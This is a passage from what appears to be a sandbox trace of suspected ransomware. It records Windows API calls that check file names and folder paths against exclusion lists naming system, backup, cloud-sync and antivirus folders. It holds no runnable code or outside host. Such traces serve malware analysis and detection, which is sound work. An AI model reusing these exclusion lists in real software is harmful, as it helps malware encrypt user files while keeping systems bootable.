cchCount2=3) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.721] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.721] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.721] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.721] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="FILES\\BACKUPCLIENT\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\BACKUPCLIENT\\", cchLength=0x13 | out: lpsz="(X86)\\BACKUPCLIENT\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="FILES\\BACKUP MANAGER\\") returned 0x15 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\BACKUP MANAGER\\", cchLength=0x15 | out: lpsz="(X86)\\BACKUP MANAGER\\") returned 0x15 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\CARBONITE\\", cchLength=0x10 | out: lpsz="FILES\\CARBONITE\\") returned 0x10 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\CARBONITE\\", cchLength=0x10 | out: lpsz="(X86)\\CARBONITE\\") returned 0x10 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="FILES\\GOOGLE\\DRIVE\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\GOOGLE\\DRIVE\\", cchLength=0x13 | out: lpsz="(X86)\\GOOGLE\\DRIVE\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\DROPBOX\\", cchLength=0xe | out: lpsz="FILES\\DROPBOX\\") returned 0xe [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\DROPBOX\\", cchLength=0xe | out: lpsz="(X86)\\DROPBOX\\") returned 0xe [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="FILES\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\MICROSOFT ONEDRIVE\\", cchLength=0x19 | out: lpsz="(X86)\\MICROSOFT ONEDRIVE\\") returned 0x19 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="FILES\\ONEDRIVE\\", cchLength=0xf | out: lpsz="FILES\\ONEDRIVE\\") returned 0xf [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="(X86)\\ONEDRIVE\\", cchLength=0xf | out: lpsz="(X86)\\ONEDRIVE\\") returned 0xf [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="VNC\\", cchLength=0x4 | out: lpsz="VNC\\") returned 0x4 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.722] CharUpperBuffW (in: lpsz="\\INTERNET EXPLORER\\", cchLength=0x13 | out: lpsz="\\INTERNET EXPLORER\\") returned 0x13 [0029.722] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT\\OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\OFFICE\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT OFFICE\\", cchLength=0x12 | out: lpsz="\\MICROSOFT OFFICE\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.723] CharUpperBuffW (in: lpsz="\\WINRAR\\", cchLength=0x8 | out: lpsz="\\WINRAR\\") returned 0x8 [0029.723] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\ESET", cchLength=0x5 | out: lpsz="\\ESET") returned 0x5 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\AVAST", cchLength=0x6 | out: lpsz="\\AVAST") returned 0x6 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\MALWAREBYTES", cchLength=0xd | out: lpsz="\\MALWAREBYTES") returned 0xd [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\SYMANTEC ENDPOINT", cchLength=0x12 | out: lpsz="\\SYMANTEC ENDPOINT") returned 0x12 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\TREND MICRO", cchLength=0xc | out: lpsz="\\TREND MICRO") returned 0xc [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\BITDEFENDER", cchLength=0xc | out: lpsz="\\BITDEFENDER") returned 0xc [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\PANDA SECURITY", cchLength=0xf | out: lpsz="\\PANDA SECURITY") returned 0xf [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\MCAFEE", cchLength=0x7 | out: lpsz="\\MCAFEE") returned 0x7 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\KASPERSKY LAB", cchLength=0xe | out: lpsz="\\KASPERSKY LAB") returned 0xe [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\KASPERSKYLAB", cchLength=0xd | out: lpsz="\\KASPERSKYLAB") returned 0xd [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\AVDEFENDER", cchLength=0xb | out: lpsz="\\AVDEFENDER") returned 0xb [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\SOPHOS", cchLength=0x7 | out: lpsz="\\SOPHOS") returned 0x7 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] CharUpperBuffW (in: lpsz="\\AVG", cchLength=0x4 | out: lpsz="\\AVG") returned 0x4 [0029.724] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 